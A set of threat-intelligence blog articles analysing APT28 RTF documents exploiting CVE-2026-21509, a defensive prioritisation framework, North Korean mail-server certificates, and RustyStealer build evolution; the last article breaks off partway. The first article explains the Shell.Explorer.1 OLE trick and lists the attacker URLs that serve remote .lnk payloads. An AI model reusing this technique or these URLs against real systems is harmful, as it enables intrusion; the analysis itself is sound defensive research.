
Before diving into the analysis, a brief look at CVE-2026-21509 itself.

Understanding CVE-2026-21509 (Click)

CVE-2026-21509 comes down to a simple allowlist gap in Office.

Microsoft has been blocking browser OLE objects like Shell.Explorer and Shell.Explorer.2 for years. Shell.Explorer.1 just never made it onto that list.
Attackers embed a Shell.Explorer.1 OLE object inside an RTF document.
When Word parses the file, the object gets reconstructed and instantiated normally, because from Offices point of view it is still considered allowed.
No macros. No scripts. No fancy exploit chain.
Just a forgotten COM class.
Once loaded, the embedded browser object calls Navigate() and points to a remote resource, usually a .lnk file, which then becomes the actual execution vector.
The document itself carries no payload.
Its only purpose is to reach a state where Shell.Explorer.1 is active and allowed to fetch external content.
Variations of this technique have been public since at least 2016-2018.
CVE-2026-21509 merely formalizes Microsoft finally acknowledging that this specific ProgID should probably have been blocked a long time ago.

tldr;

APT28 abuses CVE-2026-21509 by embedding a forgotten OLE browser object (Shell.Explorer.1) into RTF documents.
Office happily instantiates it, the object navigates to a remote .lnk, and thats your execution path.
An allowlist gap that somehow survived for years.
The documents themselves contain no payload.
They only exist to get Office into a state where external shortcut files can be fetched. From there, the real infection chain starts.

Analyzed Samples

For this analysis, I looked at the following samples:

Hash	Download
c91183175ce77360006f964841eb4048cf37cb82103f2573e262927be4c7607f	Download
5a17cfaea0cc3a82242fdd11b53140c0b56256d769b07c33757d61e0a0a6ec02	Download
b2ba51b4491da8604ff9410d6e004971e3cd9a321390d0258e294ac42010b546	Download
fd3f13db41cd5b442fa26ba8bc0e9703ed243b3516374e3ef89be71cbf07436b	Download
969d2776df0674a1cca0f74c2fccbc43802b4f2b62ecccecc26ed538e9565eae	Download

When I receive potentially malicious Word documents, my first step is usually to run oleid. In most common malicious documents, this already reveals macros, external references or other active content.

In this case, oleid reports a clean file. No macros, no external relationships, no obvious indicators.

This is expected.

The document is not a classic OLE container but an RTF file. In RTF, embedded objects are stored as hexadecimal data inside the document body using control words such as \object and \objdata. These objects do not exist as real OLE structures until Word parses the document and reconstructs them in memory.

oleid operates at the container level. It can only detect features that already exist as structured objects in the file. Since the embedded OLE data is still plain text at this stage, there is nothing for oleid to flag.

The exploit surface of CVE-2026-21509 only becomes visible after this reconstruction step. Tools like rtfobj replicate this part of WordS parsing logic by extracting and rebuilding the embedded objects from the RTF stream.

rtfobj -s all b2ba51b4491da8604ff9410d6e004971e3cd9a321390d0258e294ac42010b546.doc

Once reconstructed, the embedded objects resolve to Shell.Explorer.1. Some tools flag the CLSID as unknown, but Windows loads it normally. The containers themselves are valid OLE objects. The vulnerability is triggered solely because this specific ProgID is still allowed.

After extracting the embedded objects, I inspected the resulting files using xxd. At this stage, strings did not yield anything particularly useful, which is not surprising given that the document is not designed to carry a readable payload.

From this data, the following strings could be extracted:

file://wellnessmedcare.org/davwwwroot/pol/Downloads/document.LnK?init=1

file://wellnessmedcare.org/buch/pol/Downloads/document.LnK?init=1

file://wellnessmedcare.org@ssl/cz/Downloads/document.LnK?init=1

file://freefoodaid.com@80/documents/2_2.lNk?init=1

Why file://…/davwwwroot/…lnk appears in these samples

Some in-the-wild samples use paths like:

file://wellnessmedcare.org/davwwwroot/pol/Downloads/document.lnk

This is more an operational choice, then a technical requirement of CVE-2026-21509.
The same behavior can be triggered using plain HTTP or HTTPS URLs.
The exploit primitive is simple: the embedded Shell.Explorer.1 object calls Navigate() to a remote URI.
What happens next is handled by the legacy Internet Explorer engine (ieframe.dll), which does not implement modern protections such as SmartScreen or Smart Application Control.
WebDAV mainly provides delivery convenience.
It exposes remote files as filesystem-like objects via the Windows WebClient service, but it does not change the exploit mechanics.
As already mentioned, the Word document itself contains no payload and performs no execution.
Its only purpose is to instantiate Shell.Explorer.1 and trigger navigation to a remote shortcut file.
The .lnk becomes the actual execution vector. When accessed, the user is prompted to open or save the file, and any follow-on activity happens outside the document.
The query parameter is client-side only and used to avoid caching. It has no functional relevance for the server.

Identifying Targets

While analyzing the documents and extracted URLs, it became apparent that they reference potential target regions:

/cz/ -> Czech Republic
/buch/ -> Bucharest / Romania
/pol/ -> Poland

Additional indicators inside the Word documents further support this assessment:

Romanian language content
References to Ukraine
Mentions of Slovenia
EU-related context

None of this is accidental.

At this point, the next step is validation. Russian threat actors are known to rely heavily on geofencing and APT28 is no exception. Fortunately, this behavior can be turned into a useful source of intelligence for us ^-^

Turning Geofencing into Intelligence

The first step was to take a closer look at the domains extracted from the samples:

wellnessmedcare.org	193.187.148.169
freefoodaid.com	159.253.120.2

What stands out here is the choice of hosting locations.
Both IP addresses resolve to providers in Romania and Moldova. It is reasonable to assume that these locations were selected based on the campaigns intended target regions.

Next, I attempted to replicate the WebDAV requests generated by Windows in order to test the observed geofencing behavior.
To do this, I executed the document in a sandbox and captured the resulting network traffic.

Geofence Analysis

To validate the geofencing, I needed to determine which proxy locations were required to access the malicious resources without being blocked.
After identifying suitable proxies, I performed test requests using a custom script, once without a proxy and once using a Romanian proxy.

Without proxy:

With proxy:

The result is fairly clear. Requests originating from outside the expected regions are rejected with HTTP 403, while requests routed through a Romanian proxy succeed. This pattern can be used to validate likely operational target regions.

Out of 114 tested countries, only three were allowed access: Czech Republic, Poland and Romania. This aligns perfectly with the indicators observed earlier in the documents and URLs.

As this example shows, defensive measures such as geofencing can provide valuable intelligence when analyzed properly. Even access control mechanisms can leak information about an actors operational focus if you know where to look.
The second domain, freefoodaid.com, was already offline at the time of analysis. Given how short-lived APT28 infrastructure tends to be, this is hardly surprising. It is reasonable to assume that similar geofencing behavior would have been observable there as well, but for demonstration purposes, the remaining data is more than sufficient.

How to protect against these attacks

Update Microsoft Office and enforce a structured update routine.
Treat unexpected Word documents as untrusted and have them analyzed before opening them.
(or stop using windows :3)

Conclusion

CVE-2026-21509 works because it fits neatly into how Office processes documents today.
The exploit relies on Office instantiating an allowed OLE object during normal parsing, not on macros or embedded payloads, which makes it easy to overlook during initial analysis.
The tradecraft follows a familiar pattern.
Remote shortcut files and strict geofencing have been used by APT28 before and continue to show up in current campaigns.
WebDAV appears here mainly as a delivery detail.
The technique is stable, requires little user interaction, and sidesteps many modern Office protections by falling back to legacy browser behavior.
At the same time, this setup exposes useful signals.
Geofencing decisions, hosting locations and access behavior provide insight into intended target regions when tested systematically.

In this case, the infrastructure behavior aligns closely with the indicators found inside the documents.
From an analytical POV, the value lies less in the exploit itself and more in what can be inferred from how it is deployed and constrained.

Actor-Centric Defensive Prioritization (ACDP)

by Robin Dost

Introduction

Much of my previous work has focused on understanding threat actors not through individual malware samples alone, but through infrastructure, operational behavior, and strategic intent. Over time, a recurring problem became increasingly difficult to ignore:

While our visibility into attacker tradecraft continues to improve, our ability to decide what to defend first often does not.

Most security frameworks excel at describing what exists, techniques, controls, and best practices, but remain largely silent on what should matter most when resources are limited or when a specific threat actor becomes relevant.
Instead of introducing another generic framework, this article applies an actor-centric prioritization methodology focused on attacker intent and impact.
This approach emerged from a practical need I repeatedly encountered: organizations often had technically sound controls in place, yet still failed to prevent strategic loss, because their defensive investments were misaligned with the attackers actual objectives.

Why ACDP Was Developed

Actor-Centric Defensive Prioritization (ACDP) was developed to address a persistent gap between threat intelligence and defensive decision-making.

Threat intelligence typically answers questions such as:

Who is active?
What techniques are being used?

Defensive planning, however, must answer differnt questions:

What failure would be unacceptable?
Which controls meaningfully disrupt this actors strategy?

In real world environments, especially those facing state-aligned or destructive actors, it is rarely feasible to implement every recommended control simultaneously.
Prioritization becomes inevitable.

ACDP exists to make that prioritization explicit, defensible, and actor-aware.

What Makes This Approach Different

ACDP does not attempt to replace established frameworks such as MITRE ATT&CK or NIST.
Instead, it operates one level above them, using their outputs as inputs.

Its defining characteristic is a deliberate shift in perspective:

from technique coverage to strategic disruption
from static maturity models to adaptive decision-making
from generic best practices to context-driven trade-offs

The result is a reasoned ordering of defensive actions, based on how much they interfere with an adversary intent and how much damage they prevent if that interference fails.

Advantages of an Actor-Centric Approach

The strengths of ACDP are primarily practical:

ACDP enables rapid reprioritization when threat actor relevance changes
It aligns defensive investment with attacker objectives instead of abstract risk scores
It acknowledges budget and operational constraints instead of assuming ideal conditions
It helps explain why certain controls take priority, a critical factor in both technical and executive discussions

Most importantly: ACDP encourages organizations to think in terms of losing conditions, not only detection coverage

Limitations and Trade-Offs

ACDP is not without drawbacks.

Because it is actor-centric, its effectiveness depends on the quality of the underlying threat intelligence.
Incorrect assumptions about attacker intent can lead to misplaced priorities.
Additionally, ACDP does not provide prescriptive control definitions or implementation guidance. It assumes foundational security hygiene already exists and focuses solely on ordering, not designing, defensive measures.
Finally, ACDP deliberately avoids the comfort of exhaustive coverage. It forces uncomfortable decisions, choosing what not to prioritize, which may challenge existing security narratives.

A Practical Motivation

The motivation behind ACDP is operational necessity

In environments where time, budget, and certainty are constrained, security decisions must be made before all information is available. ACDP provides a structured way to make those decisions without pretending that all risks are equal.

If defensive priorities do not change when attacker intent changes, prioritization is no longer strategic

ACDP in Practice: Quantified Prioritization Example

This section demonstrates how ACDP produces concrete priorities, using a scoring example against Sandworm.

Step 0: Define the Objective Profile

Based on historical and current operations, Sandworm is modeled as a:

Destructive, state-aligned actor prioritizing strategic impact over access longevity

This assumption directly influences weighting.

Step 1: Define the Scoring Axes

Each defensive control is evaluated across four axes.

Axis A: Actor Disruption Value (ADV)

How strongly does this control interfere with the actors campaign strategy?

Score	Meaning
5	Breaks or invalidates the strategy
4	Forces significant tradecraft change
3	Causes friction
2	Minor inconvenience
1	Negligible effect

Axis B: Impact Risk Reduction (IRR)

How much real damage does this control prevent if the actor succeeds elsewhere?

Score	Meaning
5	Prevents catastrophic / irreversible impact
4	Strongly limits blast radius
3	Partial damage reduction
2	Minimal reduction
1	Cosmetic

Axis C: Cost & Operational Complexity (CC)

How realistic is implementation under time and budget pressure?

Score	Meaning
5	Low cost, low friction
4	Moderate effort
3	Manageable complexity
2	High effort
1	Very expensive / disruptive

Axis D: Detection-to-Decision Time (DDT)

Does this control provide usable signal early enough to change outcomes?

Score	Meaning
5	Immediate / pre-impact
4	Early warning
3	Delayed but actionable
2	Mostly reactive
1	Post-incident only

Step 2: Actor-Specific Weighting

For a destructive actor, impact prevention and strategic disruption dominate:

ADV = 35%
IRR = 35%
CC = 15%
DDT = 15%

Step 3: Scoring Selected Controls

Candidate Controls

Immutable offline backups
VPN / edge device inventory & patch SLAs
Historical DNS & infrastructure analysis
PowerShell command-line logging
Scheduled task auditing
Security awareness training

Scoring Table

Control	ADV	IRR	CC	DDT
Immutable offline backups	5	5	3	5
Edge inventory & patching	4	4	4	4
Historical DNS analysis	4	3	4	4
PowerShell logging	3	2	4	3
Scheduled task auditing	3	2	3	3
Awareness training	1	1	5	1

Step 4: Priority Index Calculation

Formula

PI = (ADV × 0.35) + (IRR × 0.35) + (CC × 0.15) + (DDT × 0.15)

Example Calculations

Immutable offline backups

(5×0.35) + (5×0.35) + (3×0.15) + (5×0.15) = 4.70

PowerShell logging

(3×0.35) + (2×0.35) + (4×0.15) + (3×0.15) = 2.80

Step 5: Final Prioritization

Control	PI	Priority Tier
Immutable offline backups	4.70	Tier 1
Edge inventory & patching	4.00	Tier 1
Historical DNS analysis	3.75	Tier 2
PowerShell logging	2.80	Tier 2
Scheduled task auditing	2.75	Tier 3
Awareness training	1.90	Tier 4

Step 6: Interpretation

The results highlight several non-obvious truths:

Recovery capability outranks detection
Infrastructure hygiene outranks user behavior
Controls that look impressive may rank low
Controls that feel boring often dominate

This is basically the mathematical expression of attacker intent.

Why the Calculation Matters

Without explicit scoring:

prioritization becomes opinion
decisions become political
trade offs remain implicit

ACDP forces those trade-offs into the open.

If you cannot explain your priorities numerically, you are not prioritizing: you are rationalizing

Closing Thoughts

Often times security failures are caused not by missing controls, but by misaligned priorities.
ACDP was developed to address this misalignment by shifting the focus from technique coverage to attacker intent, and from abstract risk to tangible impact. Its value lies in deliberate selection.
Used correctly, ACDP does not replace existing frameworks, but sharpens them by forcing uncomfortable but necessary decisions.
This methodology is intentionally opinionated!

If you have any feedback or questions, please feel free to contact me by email.
I welcome criticism and feedback!

Why Is a North Korean Mail Server Using a .cc Domain? – Threat Intelligence Beyond Malware

by Robin Dost

Today I stumbled over a rather accidental finding during a routine analysis of North Korean infrastructure that I would like to share with you.
Since North Korea does not exactly use the internet for legitimate purposes and is well known for a long history of attacks against (critical) infrastructure, I consider it reasonable to treat essentially all North Korean internet-facing infrastructure as a threat entity by default. Infrastructure changes often reveal far more about a threat actor than individual malware samples ever will and the same applies to nation states like North Korea. That is precisely why this infrastructure deserves continuous observation.

For clarity: no offensive actions were performed during this analysis. Everything shown here is based exclusively on publicly accessible data and very basic reconnaissance.
Even if the target happens to be North Korean infrastructure, operating within legal boundaries remains mandatory. Germany unfortunately does not always make this easy, but whatever.

Enough about that. Let’s get into the analysis.

Initial Discovery

Due to a historic DNS leak, we currently have a surprisingly large collection of publicly reachable websites hosted inside North Korea. I scanned these sites for email addresses because I was curious about the current state of their mail infrastructure. I had looked into this years ago but lost track of it over time. Back then, heavy geofencing was common and many services were blocked outright, so the obvious question was whether this still applies today (it does not)

For this quick assessment, I focused on two sites:

Both pages expose email addresses:

The addresses
ryongnamsan@star-co.net.kp and
mab@silibank.net.kp
point to the domains star-co.net.kp and silibank.net.kp.

If these addresses are actively used, we should also find corresponding mail servers.

Indeed, this yields four SMTP hosts worth inspecting:

smtp.star-co.net.kp
smtp1.star-co.net.kp
mail.star-co.net.kp
mail.silibank.net.kp

I verified reachability on the typical mail ports (25, 465, 587).

smtp.star-co.net.kp

smtp1.star-co.net.kp

mail.star-co.net.kp (offline)

mail.silibank.net.kp

I verified reachability on the typical mail ports (25, 465, 587)

Mailserver	IP-Address	Open Mail Ports	Running
smtp.star-co.net.kp	175.45.178.56	25,587	Postfix
smtp1.star-co.net.kp	175.45.178.57	25,587	Postfix
mail.star-co.net.kp	175.45.178.55		Postfix
mail.silibank.net.kp	175.45.177.33	25	Postfix

So far, nothing spectacular, until we look at the TLS certificate.

The Certificate That Shouldn’t Exist (At Least Not Like This

You can download the original certificate here:

smtp1.star-co.net.kp.pem Download

Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 4096 (0x1000)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=KP, ST=Pyongyang, L=Junggu, O=DevelopTeam, CN=StarJV Certificate Authority, emailAddress=postmaster@star-co.net.kp
        Validity
            Not Before: Nov 23 08:48:45 2024 GMT
            Not After : Nov 23 08:48:45 2027 GMT
        Subject: C=KP, ST=Pyongyang, L=Junggu, O=StarJVC, OU=DevelopTeam, CN=mail.nisp.cc, emailAddress=postmaster@star-co.net.kp
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:ad:82:f5:13:18:cd:33:41:c6:c4:36:b2:55:33:
                    5a:e3:e3:d7:3a:a5:34:78:2f:96:60:41:83:e5:7f:
                    13:cd:fc:97:a2:dd:86:92:3d:f6:ce:bd:fd:ac:73:
                    ad:79:5c:52:8d:c4:2f:be:39:c9:a8:17:b8:a0:f2:
                    85:42:03:5a:26:95:dc:ce:15:ec:80:fa:16:56:2e:
                    bc:cf:89:f6:5a:ad:d9:60:18:17:3b:a3:63:62:3f:
                    8b:96:33:ad:86:f5:af:3b:73:d2:17:eb:20:9d:84:
                    89:03:2a:97:e5:a6:c2:2a:75:ef:1d:04:2b:16:92:
                    ff:50:95:87:a3:d1:df:5f:e0:0e:5b:1a:86:5d:e7:
                    23:90:7a:b2:33:6d:d1:7e:49:2b:c0:bf:25:95:b7:
                    37:e0:83:0a:85:96:04:35:1b:e6:35:fd:b9:c1:08:
                    39:f8:92:7f:1b:c9:f6:84:d5:07:7d:64:65:a5:58:
                    76:09:f4:e0:4e:6c:bc:19:bb:a8:09:5c:90:db:5d:
                    1c:43:79:35:b1:8f:15:d2:df:b4:b0:89:d4:32:e3:
                    37:4f:ad:51:5c:49:94:6f:99:22:19:d0:c2:37:cf:
                    1c:76:8c:d0:45:7d:5c:79:74:f3:2a:49:d3:5c:f6:
                    d9:4f:d8:f5:fd:d7:4c:b5:0c:d6:17:72:22:44:0a:
                    30:65
                Exponent: 65537 (0x10001)
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        4e:d0:bd:4a:89:48:95:2a:58:51:2e:7e:52:53:87:8c:ed:a9:
        ed:1a:ea:b8:0a:53:75:bb:d1:3b:7f:25:76:b6:f9:bb:38:fe:
        d9:07:96:ff:2e:af:58:8e:8c:7e:a5:3d:8a:a1:bc:82:ab:8f:
        39:b9:bf:37:03:1e:6e:40:8f:59:ac:29:e3:46:4a:2e:fb:b3:
        59:29:fa:b3:e3:ba:e8:6e:3d:31:a7:ab:41:66:9b:42:8a:98:
        65:94:53:bc:24:5c:3d:83:dc:cb:15:64:02:80:7c:2a:31:c1:
        f3:18:70:d9:82:54:14:bf:b2:33:d4:d8:61:53:56:d8:06:f6:
        e7:b8:15:03:b4:0c:a3:13:f6:fd:0d:08:a0:50:b8:b8:a4:a7:
        1f:d1:a2:56:ba:6e:b8:c4:cf:18:c6:f0:11:f5:18:6b:df:d5:
        91:e0:41:30:35:96:4c:34:1b:25:c1:01:69:f7:b2:d2:36:c9:
        2d:10:a7:81:c2:bb:b4:b0:38:99:9b:81:7d:bd:30:9f:e6:d7:
        f0:c1:0b:cb:b6:ef:fe:34:94:7a:cd:40:f7:56:87:87:fb:50:
        39:d9:4a:1b:78:f9:81:ff:a0:54:b4:8f:90:21:c0:0c:50:73:
        1b:78:59:31:06:fb:d9:d9:0d:43:f3:b9:b8:63:2e:a7:cc:86:
        bf:cb:22:67:a8:7d:af:ee:68:41:ab:f3:53:7f:b0:fd:d5:bf:
        6c:18:9e:db:b4:ab:23:39:78:93:69:7f:95:a3:9f:dd:3a:14:
        f1:16:32:b6:83:58:e2:34:d2:e2:49:04:aa:21:62:20:e3:2a:
        28:b0:9d:8d:6a:6f:0d:f6:9f:5c:c6:11:51:56:93:35:82:19:
        bd:af:81:bc:ff:6e:30:57:37:fc:cb:fa:20:01:de:c4:66:2c:
        f7:44:d5:9e:b8:9c:d9:f4:8e:99:68:4d:47:b6:d4:5b:05:8d:
        9f:d6:6f:8c:6e:8d:8a:d8:ab:4b:63:8d:e3:5b:65:81:e5:3a:
        79:82:f2:00:c4:54:57:e1:00:f2:1b:22:59:41:71:df:49:89:
        76:c7:01:54:70:35:4b:25:fa:1e:95:a5:4e:82:e2:ef:c8:e3:
        b2:c0:5c:7b:bb:28:6f:0c:db:48:5f:4b:70:96:5c:df:f4:7c:
        e7:42:f1:82:f6:99:6e:db:de:c7:e7:ff:01:f8:1a:84:62:2e:
        1d:e2:11:b1:ba:f0:b0:c2:a7:2f:36:27:4d:fb:ed:c9:4b:42:
        c3:bd:cf:b3:65:99:67:68:38:1d:eb:fe:2a:c7:b9:62:80:a3:
        f5:f2:b2:c1:0f:53:7c:06:ed:61:7e:b8:e6:fc:89:36:ea:c0:
        5b:2f:6d:6d:88:48:30:9a

Several anomalies immediately stand out:

External Identity Domain (`mail.nisp.cc`)

Observations
TLS CN = mail.nisp.cc
Domain is outside of .kp
No MX records exist
The domain appears to be used purely for identity, not routing

According to WHOIS (if we trust it), the domain was registered in 2025 via juming.com, a registrar I would generously describe as “economically efficient” rather than reputable.

Beyond that, there is essentially no public footprint for this domain.

Inference

There appears to be a deliberate separation between:

Routing identity: .kp domains
Cryptographic identity: .cc domain

Imo, this is a deliberate architectural decision and not an accident

Private State PKI (`StarJV Certificate Authority`)

Observations

Custom internal CA visible in the certificate
Not publicly trusted
Self-managed
Extremely primitive X.509 v1 structure

Inference

Active internal PKI operation
Low compliance and security maturity
No external trust anchor available or desired

X.509 Version 1 Certificate

Observations

Certificate is Version 1 (no extensions, no SAN, no policy constraints)

Inference

Outdated or minimal PKI toolchain
No modern security modeling
Functionality prioritized over governance

Primitive Serial Number (`0x1000`)

Observations

Serial number equals exactly 4096

Inference

Manual or simplistic CA automation
No randomness
Likely very small PKI scale

Multi-Identity on a Single Host

Observations

PTR: ryongnamsan.edu.kp
SMTP banner: star-co.net.kp
TLS CN: mail.nisp.cc

Inference

Central gateway role
Multi-tenant usage
Organizational consolidation

No MX Records for `nisp.cc`

Observations

Domain exists, but has no mail routing

Inference

Domain serves exclusively as an identity anchor
No end-user mail usage
Reduced abuse exposure

Extremely Large Mail Size (~10 GB)

Observations

SMTP SIZE = 10,000,000,000 bytes

Honestly, I laughed out loud when I saw this.

This configuration seems consistently on both active Star-CO SMTP servers (smtp and smtp1.star-co.net.kp), which looks like this is intentional rather than a misconfiguration. In contrast, the Silibank mail server uses a much more reasonable limit of ~100 MB.
It is therefore reasonable to assume that these mail servers are being used to transfer very large files. In theory, this could even serve as a transport channel for bulk data movement, including data returning from North Korean remote workers abroad. This remains speculative, but the transport capacity itself is undeniable.

If you want to make yourself vulnerable to a denial-of-service attack, you should implement this feature yourself!

Inference

Expectation of large payload transfers
SMTP likely used as a general-purpose transport channel
No restrictive transport policies

Legacy Features Enabled (`VRFY`, `ETRN`)

Observations

User verification enabled
Legacy store-and-forward mechanisms active

Inference

Weak hardening discipline
Legacy configuration not cleaned up
Reliance on network isolation as primary security model

Unknown SMTP Extension (`BBBBBBBB`)

Observations

Non-standard SMTP extension

Inference

Bug, custom patch, or QA deficiency
Poor implementation hygiene

Recent Activity (Domain 2025 / Certificate 2024)

Observations

Domain registered recently
Certificate relatively fresh

Inference

Active modernization or reorganization
Not a purely legacy environment

Temporal Correlation & Strategic Context

We do not perform this kind of analysis purely for entertainment value. The objective is to generate intelligence that may become operationally relevant over time. That means we also need to ask why these infrastructure changes occurred when they did.

Based on available timestamps:

Certificate issuance: 23 Nov 2024
Domain registration: 21 Aug 2025

November 2024: Certificate Issuance

This period coincides with a phase of increased North Korean geopolitical activity:

Formalization of a comprehensive strategic partnership with Russia
Ongoing missile testing and military signaling
Escalating rhetoric toward South Korea, the US, and Japan
Partial reopening of diplomatic channels post-pandemic

Interpretation

The certificate appears to have been issued ahead of this intensified phase. A plausible explanation is preparatory technical groundwork, stabilizing externally reachable infrastructure before increased international activity or visibility

August 2025: Domain Registration

In this period we saw:

Continued military demonstrations
Publicized return of North Korean personnel from Russia
Increased diplomatic engagement with Russia and China
Rising international visibility

There is no single triggering political event on this exact date. However, the broader trend shows increased outward-facing engagement.

Interpretation

Registering an externally usable domain such as nisp.cc may reflect a desire to make services more reliably reachable and interoperable internationally during a phase of expanding external activity.

Possible Infrastructure Bridging Function

Even without explicit political announcements, infrastructure often moves first.

It is entirely plausible that North Korea:

began improving external visibility of selected services
equipped gateways with internationally compatible identities
prepared controlled external access paths for future operational needs

Such changes rarely happen accidentally in centralized environments.

Final Thoughts: Why This Matters

Threat intelligence too often focuses narrowly on malware families, campaigns, and short-lived indicators of compromise. When dealing with nation states, this Much of todays threat intelligence still revolves around malware samples, campaign names, and short-lived indicators. That perspective is fundamentally insufficient when dealing with nation states.
States themselves act as long-term threat actors. Their infrastructure evolves far more slowly than malware and when it does change, it usually means someone made a deliberate decision, signed off on a budget, and probably sat through far too many internal meetings.

Infrastructure artifacts quietly expose things most actors would rather not advertise:

organizational maturity (or the lack thereof)
centralization models
operational priorities
capacity planning assumptions
risk tolerance
and governance culture

A single TLS certificate, a misaligned identity domain, or an absurdly permissive transport policy can easily reveal more about an actors operational reality than dozens of shiny malware samples ever could. Sometimes the most valuable intelligence comes from reading what a system accidentally tells you about itself.
This small case demonstrates how even boring protocol metadata can function as durable intelligence signals when correlated properly. Observing infrastructure drift across threat actors or states allows us to detect strategic movement long before it becomes visible in campaigns, headlines, or incident reports.
And as a small bonus observation: while geopolitical ambition clearly scales, PKI maturity and configuration hygiene appear to lag slightly behind. Infrastructure may evolve governance apparently takes its time ^-^

RustyStealer: Your Compiler Is Snitching on You

by Robin Dost

As already mentioned in my last MuddyWater article, I originally planned to take a closer look at the remaining RustyWater samples in the hope of finding additional leftover artefacts. But: writing a pure “let’s grep a few more binaries for leftovers” follow-up article sounded painfully boring, both to read and to write. So instead of doing that, I decided to version the individual samples properly and build a small change-tracking timeline around them.

Mostly out of curiosity, partly out of stubbornness.
At least this way we get something that resembles actual analysis rather than archaeological string hunting.

Before diving into version diffs and timelines, it’s worth briefly grounding what we’re actually dealing with here, without turning this into a full-blown reverse engineering novella.

RustyStealer (sometimes referenced as RustyWater, Archer RAT or related variants in public reporting) is a Rust-based information stealer / RAT that has been observed in MuddyWater-attributed campaigns. In practice it behaves like a fairly typical post-compromise implant: basic host reconnaissance, security product awareness, persistence via registry, C2 communication and modular task execution. Nothing magical, nothing revolutionary, just a modernized tooling stack implemented in Rust instead of the usual C/C++ ecosystem. Here’s an article from cloudseek.com if you are interested in the details of it’s deliver and execution nature.

And that’s exactly where this article deliberately does not go: this is not a line-by-line teardown of every decoding routine, syscall wrapper or math loop. There are already reports on the internet that lovingly explain how a single function increments a counter.

What I’m interested in instead is how this thing evolves over time and how to track it

How do the binaries change between builds?
Which libs appear or disappear?
When does the architecture shift?
Where do experiments get rolled back?
Which parts get hardened, obfuscated or simplified?

The goal is to treat this malware family more like a software project with a messy commit history than a static artifact. By correlating compile timestamps, dependency fingerprints, fuzzy hashes, embedded artefacts and targeted code diffs, we can reconstruct a surprisingly coherent development timeline and extract signals about tooling maturity, experimentation phases and operational priorities .

And honestly: that’s way more fun than grepping strings all day and more useful for my threat actor research

For the analysis I used the following samples:

Hash	Date
e081bc408f73158c7338823f01455e4f5185a4365c8aad1d60d777e29166abbd	08.01.2026
ddc6e6c76ac325d89799a50dffd11ec69ed3b5341740619b8e595b8068220914	08.01.2026
7523e53c979692f9eecff6ec760ac3df5b47f172114286e570b6bba3b2133f58	08.01.2026
e61b2ed360052a256b3c8761f09d185dad15c67595599da3e587c2c553e83108	08.01.2026
a2001892410e9f34ff0d02c8bc9e7c53b0bd10da58461e1e9eab26bdbf410c79	10.01.2026

My First Step: I always start with the most low-effort signal: raw strings.
Sometimes you get lucky and developers leave behind absolute paths, usernames, toolchain artefacts or other accidental breadcrumbs.

The first thing I wanted to verify was whether any additional user paths were embedded in the samples:

for x in *.exe; do strings "$x" | r="$(strings "$x" | grep 'C:')"; if ! [ -z "$r" ]; then echo "$x $r\n"; fi ; done

And yes, in two of the binaries we do indeed find another leftover artefact:

C:\Users\Bruno\Desktop\art.exe
C:\Users\Jacob\...

Just to be clear: the developer is almost certainly not named Bruno/Jacob.
This is simply the username of the build environment used at that time. Still, it gives us a nice anchor point when correlating samples later on.

Dependency extraction and library fingerprinting:

Next, I wanted to extract the dependency information from the binaries:

# get llvm strings
for x in *.exe; do strings "$x" | r="$(strings "$x" | grep 'llvm')"; if ! [ -z "$r" ]; then echo "$x $r\n"; fi ; done
# get crates with version and write to file sample.exe.strings
for x in *.exe; do strings "$x" | grep "crates\.io-" | cut -d'\' -f5 | sort | uniq >> "$x.strings" ;  done

This gives us a list of Rust crates and libraries that were present at build time:

From this output I consolidated a full list of all dependencies observed across all samples.
It already allows a first sanity check: are all samples built from the same dependency set or do we see deviations?

In total, the consolidated list contains 50 libraries, however, each individual sample only exposes around 44-45 crates.
That already tells us that not all builds are identical.

Here is the full list of observed libraries:

Library	Version
aead	0.5.2
aes	0.8.4
aes-gcm	0.10.3
atomic-waker	1.1.2
base64	0.22.1
bytes	1.10.1
cipher	0.4.4
ctr	0.9.2
futures-channel	0.3.31
futures-core	0.3.31
futures-util	0.3.31
generic-array	0.14.7
h2	0.4.12
hashbrown	0.15.5
http	1.3.1
httpparse	1.10.1
http-body-util	1.7.0
hyper	1.7.0
hyper-tls	0.6.0
hyper-utils	0.1.16
icu_collections	2.0.0
icu_normalizer	2.0.0
idna	1.1.10
indexmap	2.11.0
ipnet	2.11.0
iri-string	0.7.8
mio	1.0.4
native-tls	0.2.14
percent-encoding	2.3.2
rand	0.6.5
rand_core	0.4.2
rand_hc	0.1.0
rand_jitter	0.1.4
reqwest	0.12.23
schannel	0.1.27
slab	0.4.11
smallvec	1.15.1
socket2	0.6.0
tokio	1.47.1
tokio-native-tls	0.3.1
tokio-util	0.7.16
tower	0.5.2
universal-hash	0.5.1
url	2.5.7
utf8_iter	1.0.4
want	0.3.1
windows-registry	0.5.3
winreg	0.55.0
rustc-demangle	0.1.24
rustc-demangle	0.1.26

Since we now know that differences exist, I built a per-sample matrix to visualize which libraries appear in which binary:

This makes deviations immediately visible without having to manually diff text dumps.

Compile timestamps

Before grouping anything, I also checked when the individual binaries were compiled.

This can be extracted using:

for x in *.exe; do printf "$x"; objdump -x "$x" | grep "Time/Date"; don

Result:

File Hash	Compile Date
ddc6e6c76ac325d89799a50dffd11ec69ed3b5341740619b8e595b8068220914	Tue Sep 23 10:44:52 2025
e081bc408f73158c7338823f01455e4f5185a4365c8aad1d60d777e29166abbd	Sun Oct 19 21:17:34 2025
e61b2ed360052a256b3c8761f09d185dad15c67595599da3e587c2c553e83108	Sun Nov 16 23:41:42 2025
a2001892410e9f34ff0d02c8bc9e7c53b0bd10da58461e1e9eab26bdbf410c79	Sun Nov 16 23:41:42 2025
7523e53c979692f9eecff6ec760ac3df5b47f172114286e570b6bba3b2133f58	Mon Jan 5 06:33:07 2026

TLSH similarity analysis

As a final preprocessing step I generated TLSH hashes for all samples.

TLSH is a fuzzy hashing algorithm that does not aim for exact equality, but instead quantifies structural similarity between files.
Unlike cryptographic hashes, TLSH allows us to estimate how closely two binaries resemble each other internally even if they differ in resources, padding, timestamps or small code changes.

For our malware analysis purpose, this is especially useful when clustering variants, detecting rebuilds and separating development branches.

To make the distances reproducible, I wrote a small script that computes TLSH values directly from the binaries and performs pairwise comparisons:

Clustering the samples

With all of this data available, we can now perform a reasonably robust clustering of the samples

The key point here is that no single metric is deciding on its own. Instead, the correlation of multiple independent signals matters:

TLSH similarity
Compile timestamps
Library fingerprints
